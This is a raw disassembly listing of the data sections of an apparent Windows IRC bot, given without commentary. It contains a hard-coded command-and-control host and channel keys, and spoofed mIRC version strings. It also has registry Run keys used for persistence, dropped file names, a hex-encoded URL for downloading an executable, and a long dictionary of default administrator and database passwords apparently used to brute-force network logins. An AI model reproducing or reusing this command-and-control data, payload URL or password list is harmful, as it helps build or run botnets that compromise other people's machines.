a___ db '...',0 ; DATA XREF: __NMSG_WRITE+BFo
; char aProgramNameUnk[]
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do
align 10h
dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: ___crtGetStringTypeA+5o
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do
align 10h
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+24o
; char a1Qnan[]
a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_425A68o
align 4
; char a1Inf[]
a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+ADo
align 4
dd offset dword_427DAC
off_427C90 dd offset sub_4260E2 ; DATA XREF: sub_4260BA+8o
; sub_4260FE+2Co ...
dd offset sub_4260D5 ; ?what@runtime_error@@UBEPBDXZ
; doubtful name
dd offset sub_4262F6
dd offset dword_427DF8
off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao
; sub_426168o ...
dd offset sub_4260D5 ; ?what@runtime_error@@UBEPBDXZ
; doubtful name
dd offset loc_426332
dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o
; sub_4261D0+16o
; char aInvalidStringP[]
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o
dd offset dword_427E44
off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o
; sub_42629A+37o ...
dd offset sub_4260D5 ; ?what@runtime_error@@UBEPBDXZ
; doubtful name
dd offset loc_426314
; char aStringTooLong[]
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o
dd offset dword_427E88
off_427CEC dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF: type_info::~type_info(void)o
; .data:off_43DAE4o ...
; type_info::`scalar deleting destructor'(uint)
dd offset dword_427EB8
off_427CF4 dd offset sub_4264C1 ; DATA XREF: exception::exception(char const * const &)+8o
; exception::exception(exception const &)+8o ...
dd offset unknown_libname_10 ; Microsoft VisualC 2-8/net runtime
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: unknown_libname_10+7o
align 10h
dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Eo
dd 3, 19930520h, 2 dup(0)
dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
; DATA XREF: ___crtLCMapStringW+5o
dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
; DATA XREF: ___crtGetStringTypeW+5o
dd 43DAE4h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427D78 dd offset off_43DAFC ; DATA XREF: .rdata:00427D90o
; .rdata:00427DDCo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427D78
dd offset dword_427D48+18h
dword_427D98 dd 3 dup(0) ; DATA XREF: .rdata:00427DBCo
dd 2, 427D90h
dword_427DAC dd 3 dup(0) ; DATA XREF: .rdata:00427C8Co
dd offset off_43DAFC
dd offset dword_427D98+4
off_427DC0 dd offset off_43DB1C ; DATA XREF: .rdata:00427DD8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DC0
dd offset off_427D78
dd offset dword_427D48+18h
dd 0
db 0 ; DATA XREF: .rdata:00427E08o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427DD8h
dword_427DF8 dd 3 dup(0) ; DATA XREF: .rdata:00427C9Co
dd offset off_43DB1C
dd offset unk_427DE8
off_427E0C dd offset off_43DB3C ; DATA XREF: .rdata:00427E24o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E0C
dd offset off_427D78
dd offset dword_427D48+18h
dword_427E30 dd 3 dup(0) ; DATA XREF: .rdata:00427E54o
dd 3, 427E24h
dword_427E44 dd 3 dup(0) ; DATA XREF: .rdata:00427CC8o
dd offset off_43DB3C
dd offset dword_427E30+4
off_427E58 dd offset off_43DB60 ; DATA XREF: .rdata:00427E70o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E58
dd 0
db 0 ; DATA XREF: .rdata:00427E98o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427E70h
dword_427E88 dd 3 dup(0) ; DATA XREF: .rdata:00427CE8o
dd offset off_43DB60
dd offset unk_427E78
dd offset dword_427D48+18h
dword_427EA0 dd 4 dup(0) ; DATA XREF: .rdata:00427EC8o
dd 1, 427E9Ch
dword_427EB8 dd 3 dup(0) ; DATA XREF: .rdata:00427CF0o
dd offset off_43DAE4
dd offset dword_427EA0+8
align 10h
stru_427ED0 dd 19930520h ; Magic ; DATA XREF: .text:loc_426AA7o
dd 2 ; Count
dd offset stru_427ED0.Info; InfoPtr
dd 0 ; CountDtr
dd 0 ; DtrPtr
dd 3 dup(0) ; _unk
dd -1 ; Info.Id
dd offset sub_426A90 ; Info.Proc
dd 0 ; Info.Id
dd offset sub_426A88 ; Info.Proc
stru_427F00 dd 19930520h ; Magic ; DATA XREF: sub_426AC4o
dd 2 ; Count
dd offset stru_427F00.Info; InfoPtr
dd 0 ; CountDtr
dd 0 ; DtrPtr
dd 3 dup(0) ; _unk
dd -1 ; Info.Id
dd offset sub_426AB4 ; Info.Proc
dd 0 ; Info.Id
dd offset sub_426ABC ; Info.Proc
stru_427F30 dd 19930520h ; Magic ; DATA XREF: sub_426AD0o
dd 2 ; Count
dd offset stru_427F30.Info; InfoPtr
dd 1 ; CountDtr
dd offset stru_427F60 ; DtrPtr
dd 3 dup(0) ; _unk
dd -1 ; Info.Id
dd 0 ; Info.Proc
dd -1 ; Info.Id
dd 0 ; Info.Proc
stru_427F60 dd 0, 0, 1 ; _unk ; DATA XREF: .rdata:stru_427F30o
dd 1 ; Count
dd offset stru_427F78 ; RttiBlkPtr
dd 0
stru_427F78 _msRttiDscr <0, 0, 0, offset loc_40DA8E> ; DATA XREF: .rdata:stru_427F60o
stru_427F88 _msExcInfo <-1, offset sub_426ADA> ; DATA XREF: .rdata:stru_427F90o
stru_427F90 _msExcept7 <19930520h, 1, offset stru_427F88, 0, 0, 0>
; DATA XREF: .text:loc_426AE2o
align 10h
dd offset off_43DAE4
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42651Ah, 0
dd offset off_43DAFC
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426218h, 0
dd offset off_43DB1C
align 10h
dd 0FFFFFFFFh, 0
dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: .rdata:0042801Co
dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo
; sub_4262F6+4Bo
dd offset sub_426168
dd 0
dd offset dword_427FF8+8
stru_428020 _msExcInfo <-1, offset sub_426AEC> ; DATA XREF: .rdata:stru_428028o
stru_428028 _msExcept7 <19930520h, 1, offset stru_428020, 0, 0, 0>
; DATA XREF: .text:loc_426AF4o
stru_428044 _msExcInfo <-1, offset sub_426AFE> ; DATA XREF: .rdata:stru_42804Co
stru_42804C _msExcept7 <19930520h, 1, offset stru_428044, 0, 0, 0>
; DATA XREF: .text:loc_426B06o
stru_428068 _msExcInfo <-1, offset sub_426B10> ; DATA XREF: .rdata:stru_428070o
stru_428070 _msExcept7 <19930520h, 1, offset stru_428068, 0, 0, 0>
; DATA XREF: .text:loc_426B18o
align 10h
dd offset off_43DB3C
align 8
dd 0FFFFFFFFh, 0
dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: .rdata:004280C4o
dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo
; sub_4262F6+2Do
dd offset sub_426277
dd 0
dd offset dword_4280A0+8
stru_4280C8 _msExcInfo <-1, offset sub_426B22> ; DATA XREF: .rdata:stru_4280D0o
stru_4280D0 _msExcept7 <19930520h, 1, offset stru_4280C8, 0, 0, 0>
; DATA XREF: .text:loc_426B2Ao
dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: .rdata:00428104o
dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo
dd offset sub_4260BA
dd 0
dd offset dword_4280EC
dd 28308h, 2 dup(0)
dd 2836Eh, 271C4h, 28144h, 2 dup(0)
dd 28B82h, 27000h, 5 dup(0)
dd 2868Ah, 28B72h, 28B62h, 28B52h, 28B34h, 28B22h, 28B10h
dd 28AFCh, 28AECh, 28ADEh, 28ACEh, 28ABCh, 28AA2h, 28A8Ah
dd 28A70h, 28A56h, 28A3Ah, 28A2Ah, 28A1Ah, 28A0Eh, 289FCh
dd 289F0h, 289E6h, 289DAh, 289CAh, 289BAh, 289ACh, 28386h
dd 28394h, 283A2h, 283B4h, 283CAh, 283E0h, 283E8h, 283F8h
dd 28406h, 28414h, 2842Ah, 2843Ah, 28446h, 2845Ch, 28472h
dd 28486h, 2849Ch, 284ACh, 284BCh, 284CEh, 284DEh, 284EAh
dd 284FAh, 2850Ch, 28520h, 28532h, 28542h, 28550h, 28568h
dd 28580h, 285A8h, 285C0h, 285D6h, 285E2h, 285EEh, 28602h
dd 28610h, 28624h, 28636h, 2864Ah, 28658h, 2866Ah, 2867Ch
dd 28696h, 286AEh, 286C8h, 286D8h, 286EAh, 286FCh, 28714h
dd 2872Eh, 2874Ah, 28764h, 28780h, 28790h, 2879Eh, 287B8h
dd 287C4h, 287D0h, 287E2h, 287F4h, 28808h, 28818h, 2882Ah
dd 2883Ah, 28848h, 2885Ah, 2886Ah, 28880h, 2888Eh, 2889Ch
dd 288B8h, 288CEh, 288DAh, 288F0h, 28900h, 28914h, 2892Ah
dd 28938h, 28944h, 28956h, 28968h, 28976h, 28990h, 2899Eh
dd 0
dd 28360h, 80000007h, 8000000Fh, 8000000Ch, 80000074h
dd 80000073h, 80000015h, 8000000Ah, 80000002h, 8000000Dh
dd 80000001h, 8000000Bh, 80000009h, 80000004h, 80000010h
dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
dd 80000006h, 0
db 41h ; A
align 2
aWsasocketa_0 db 'WSASocketA',0
align 2
aWs2_32_dll_0 db 'WS2_32.dll',0
align 2
aVersion_dll db 'VERSION.dll',0
db '¹',0
aExitprocess db 'ExitProcess',0
a4 db '4',0
aClosehandle db 'CloseHandle',0
aF_2 db 'f',0
aCreateprocessa db 'CreateProcessA',0
align 4
db 7Dh ; }
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
align 2
dw 1C1h
aGetsystemdirec db 'GetSystemDirectoryA',0
db 56h ; V
db 3, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 6Fh ; o
align 2
aCreatethread db 'CreateThread',0
align 4
aG db 'ƒ',0
aDeletefilea db 'DeleteFileA',0
dw 286h
aOpenprocess db 'OpenProcess',0
db 43h ; C
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcessId',0
dw 171h
aGetlasterror db 'GetLastError',0
align 2
aC_2 db 'C',0
aCopyfilea db 'CopyFileA',0
dw 319h
aSetfileattribu db 'SetFileAttributesA',0
align 4
db 5Eh ; ^
db 1, 47h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 17Fh
aGetmodulehandl db 'GetModuleHandleA',0
align 2
dw 390h
aWaitforsingleo db 'WaitForSingleObject',0
db '`',0
aCreatemutexa db 'CreateMutexA',0
align 4
db 0DFh ; ß
db 1, 47h, 65h
aTtickcount db 'tTickCount',0
align 4
db 5Fh ; _
db 3, 54h, 65h
aRminatethread db 'rminateThread',0
dw 1D5h
aGettemppatha db 'GetTempPathA',0
align 2
dw 26Eh
aMovefilea db 'MoveFileA',0
dw 252h
aLoadlibrarya db 'LoadLibraryA',0
align 2
dw 1A0h
aGetprocaddress db 'GetProcAddress',0
align 4
db 14h
db 1, 47h, 65h
aTcomputernamea db 'tComputerNameA',0
align 10h
db 74h ; t
db 1, 47h, 65h
aTlocaleinfoa db 'tLocaleInfoA',0
align 2
dw 1E9h
aGetversionexa db 'GetVersionExA',0
db 'º',0
aExitthread db 'ExitThread',0
align 10h
db 51h ; Q
db 2, 4Ch, 65h
aAvecriticalsec db 'aveCriticalSection',0
align 4
aS_7 db '˜',0
aEntercriticals db 'EnterCriticalSection',0
align 10h
db 24h ; $
db 2, 49h, 6Eh
aItializecritic db 'itializeCriticalSectionAndSpinCount',0
aB db '',0
aDeletecritical db 'DeleteCriticalSection',0
db 75h ; u
db 2, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
dw 2B5h
aReadfile_0 db 'ReadFile',0
align 2
dw 3A4h
aWritefile db 'WriteFile',0
dw 368h
aTransactnamedp db 'TransactNamedPipe',0
aS_8 db 'S',0
aCreatefilea db 'CreateFileA',0
dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h
dd 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentproc db 'GetCurrentProcess',0
aE_0 db 'e',0
aCreatepipe db 'CreatePipe',0
align 4
dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h
dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h
dd 7A695365h, 0CE0065h, 646E6946h, 736F6C43h, 0C50065h
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
db 'Ä',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db 'Ü',0
aFindnextfilea db 'FindNextFileA',0
db 'Ò',0
aFindfirstfilea db 'FindFirstFileA',0
align 2
dw 31Bh
aSetfilepointer db 'SetFilePointer',0
align 4
db 0EEh ; î
db 2, 53h, 65h
aTconsolectrlha db 'tConsoleCtrlHandler',0
db 8Eh ; Ž
db 3, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 0FCh
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 2
dw 2A3h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 0A4h ; ¤
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
dd 65470173h, 636F4C74h, 69546C61h, 656Dh, 724600F8h, 694C6565h
dd 72617262h, 1590079h
aGetenvironment db 'GetEnvironmentVariableW',0
db 16h
db 2, 48h, 65h
aApfree db 'apFree',0
align 4
db 10h
db 2, 48h, 65h
aApalloc db 'apAlloc',0
db 0A3h ; £
db 1, 47h, 65h
aTprocessheap db 'tProcessHeap',0
align 2
dw 389h
aVirtualqueryex db 'VirtualQueryEx',0
align 4
db 0B8h ; ¸
db 2, 52h, 65h
aAdprocessmemor db 'adProcessMemory',0
dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h
dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h
dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilemapp db 'CreateFileMappingA',0
align 10h
db 1Fh
db 3, 53h, 65h
aTfiletime db 'tFileTime',0
dw 165h
aGetfiletime db 'GetFileTime',0
db '¼',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db 94h ; ”
db 3, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
dw 3C3h
aLstrcmpia db 'lstrcmpiA',0
dw 15Ah
aGetexitcodepro db 'GetExitCodeProcess',0
align 10h
db 91h ; ‘
db 2, 50h, 65h
aEknamedpipe db 'ekNamedPipe',0
db 78h ; x
db 1, 47h, 65h
aTlogicaldrives db 'tLogicalDrives',0
align 4
db 4
db 2, 47h, 6Ch
aObalmemorystat db 'obalMemoryStatus',0
align 2
dw 21Ah
aHeaprealloc db 'HeapReAlloc',0
dd 745202D7h, 776E556Ch, 646E69h, 654701B7h, 61745374h
dd 70757472h, 6F666E49h, 1100041h, 43746547h, 616D6D6Fh
dd 694C646Eh, 41656Eh, 654701E8h, 72655674h, 6E6F6973h
dd 1580000h
aGetenvironme_0 db 'GetEnvironmentVariableA',0
dd 65480214h, 65447061h, 6F727473h, 2120079h, 70616548h
dd 61657243h, 6574h, 69560383h, 61757472h, 6572466Ch, 3810065h
dd 74726956h, 416C6175h, 636F6C6Ch, 2360000h, 61427349h
dd 69725764h, 74506574h, 1040072h, 43746547h, 666E4950h
dd 0FD006Fh, 41746547h, 5043h, 65470193h, 4D454F74h, 5043h
dd 615202A7h, 45657369h, 70656378h, 6E6F6974h, 21C0000h
dd 70616548h, 657A6953h, 2440000h, 614D434Ch, 72745370h
dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h
dd 36E0000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
dw 0F6h
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db 0F7h ; ÷
align 2
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 155h
aGetenvironme_1 db 'GetEnvironmentStrings',0
dw 157h
aGetenvironme_2 db 'GetEnvironmentStringsW',0
align 4
db 24h ; $
db 3, 53h, 65h
aThandlecount db 'tHandleCount',0
align 2
dw 1B9h
aGetstdhandle db 'GetStdHandle',0
align 2
dw 166h
aGetfiletype db 'GetFileType',0
db 37h ; 7
db 3, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 4
aU_0 db 'î',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 10h
db 0BAh ; º
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 1BDh
aGetstringtypew db 'GetStringTypeW',0
align 4
db 4Ah ; J
db 3, 53h, 65h
aTunhandledexce db 'tUnhandledExceptionFilter',0
dw 233h
aIsbadreadptr db 'IsBadReadPtr',0
align 2
dw 230h
aIsbadcodeptr db 'IsBadCodePtr',0
align 2
dw 310h
aSetendoffile db 'SetEndOfFile',0
align 2
aKernel32_dll_0 db 'KERNEL32.dll',0
align 10h
_rdata ends
; Section 3. (virtual address 00029000)
; Virtual size : 000B43A0 ( 738208.)
; Section size in file : 000B43A0 ( 738208.)
; Offset to raw data for section: 00029000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 429000h
dword_429000 dd 0 ; DATA XREF: __cinit+1Fo
dd offset loc_401205
dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
dd offset sub_40F0EC
dword_429010 dd 0 ; DATA XREF: __cinit+1Ao
dword_429014 dd 0 ; DATA XREF: __cinit+10o
dd offset ___onexitinit
dd offset ___initmbctable
dd offset ___initstdio
dd offset sub_424F62
dword_429028 dd 0 ; DATA XREF: __cinit:loc_41C16Fo
dword_42902C dd 0 ; DATA XREF: _doexit+65o
dd offset ___endstdio
dword_429034 dd 0 ; DATA XREF: _doexit:loc_41C213o
dword_429038 dd 0 ; DATA XREF: _doexit+76o
dd offset sub_424F73
dword_429040 dd 4 dup(0) ; DATA XREF: _doexit:loc_41C224o
dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
; DATA XREF: sub_401000+7o
; char aRb[]
aRb db 'rb',0 ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
align 4
dword_42906C dd 1B58h ; DATA XREF: WinMain(x,x,x,x)+4A4r
; WinMain(x,x,x,x)+539r
dword_429070 dd 0C8Bh ; DATA XREF: WinMain(x,x,x,x)+585r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er
; sub_40BD91+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r
; sub_40BD91:loc_40C182r
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r
dword_42908C dd 1 ; DATA XREF: WinMain(x,x,x,x)+13Dr
dword_429090 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401562r
; sub_4188A6+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r
; sub_401ACD+B30r ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar
; sub_40AAAC+60r ...
; int dword_42909C
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
; int dword_4290A0
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
; char aSbrti[]
aSbrti db 'sbrti',0 ; DATA XREF: WinMain(x,x,x,x)+5Do
; sub_401ACD:loc_40445Do ...
align 4
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o
align 4
; char aCool[]
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo
; sub_401ACD+7C9Ao
align 10h
; char Source[]
Source db 'scorti1.dns2go.com',0 ; DATA XREF: WinMain(x,x,x,x)+490o
; WinMain(x,x,x,x)+52Ao
align 4
; char aFaak[]
aFaak db '#FAAK#',0 ; DATA XREF: WinMain(x,x,x,x)+4B0o
; WinMain(x,x,x,x)+540o ...
align 4
; char aSaad_[]
aSaad_ db 'saad.',0 ; DATA XREF: WinMain(x,x,x,x)+4C7o
; WinMain(x,x,x,x)+552o
align 4
; char byte_4290E4
byte_4290E4 db 73h ; DATA XREF: WinMain(x,x,x,x):loc_401789r
; WinMain(x,x,x,x)+576o
aCorti1_dns2go_ db 'corti1.dns2go.com',0
align 4
; char aFaak_0[]
aFaak_0 db '#FAAK#',0 ; DATA XREF: WinMain(x,x,x,x)+58Co
align 10h
; char aSaad__0[]
aSaad__0 db 'saad.',0 ; DATA XREF: WinMain(x,x,x,x)+59Eo
align 4
; char Str[]
Str db 'fgezpzzi.exe',0 ; DATA XREF: WinMain(x,x,x,x)+143o
; WinMain(x,x,x,x)+167w ...
align 4
aWinnt_bat db 'winnt.bat',0
align 4
aWindosSeresAgn db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo
align 4
asc_429138: ; DATA XREF: .text:0040AB2Bo
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do
align 10h
; char aF[]
aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o
; sub_401ACD+1EA2o ...
align 4
; char aF_0[]
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o
; sub_401ACD+730Co
align 4
; char aF_1[]
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo
; sub_401ACD+423Ao
align 4
off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo
; "*@admin.com"
off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
; sub_401ACD+7C3Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 10h
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
; sub_41A6EA+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
; sub_41A6EA+D4o
align 4
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch
dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h
dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h
dd 42989Ch, 429894h, 429890h, 0
dd offset byte_43DB88
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_1 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer_1 ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_0 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin_1 ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp_0 ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r
; sub_401ACD+B0Cr ...
aIntranet db 'intranet',0 ; DATA XREF: .data:004294B8o
align 4
aLan db 'lan',0 ; DATA XREF: .data:004294B0o
aMain db 'main',0 ; DATA XREF: .data:004294ACo
align 4
aWinpass db 'winpass',0 ; DATA XREF: .data:004294A8o
aBlank db 'blank',0 ; DATA XREF: .data:004294A4o
align 4
aOffice db 'office',0 ; DATA XREF: .data:004294A0o
align 10h
aControl db 'control',0 ; DATA XREF: .data:0042949Co
aXp_0 db 'xp',0 ; DATA XREF: .data:00429498o
align 4
aNokia db 'nokia',0 ; DATA XREF: .data:00429494o
align 4
aHp db 'hp',0 ; DATA XREF: .data:00429490o
align 4
aSiemens db 'siemens',0 ; DATA XREF: .data:0042948Co
aCompaq db 'compaq',0 ; DATA XREF: .data:00429488o
align 4
aDell db 'dell',0 ; DATA XREF: .data:00429484o
align 10h
aCisco db 'cisco',0 ; DATA XREF: .data:00429480o
align 4
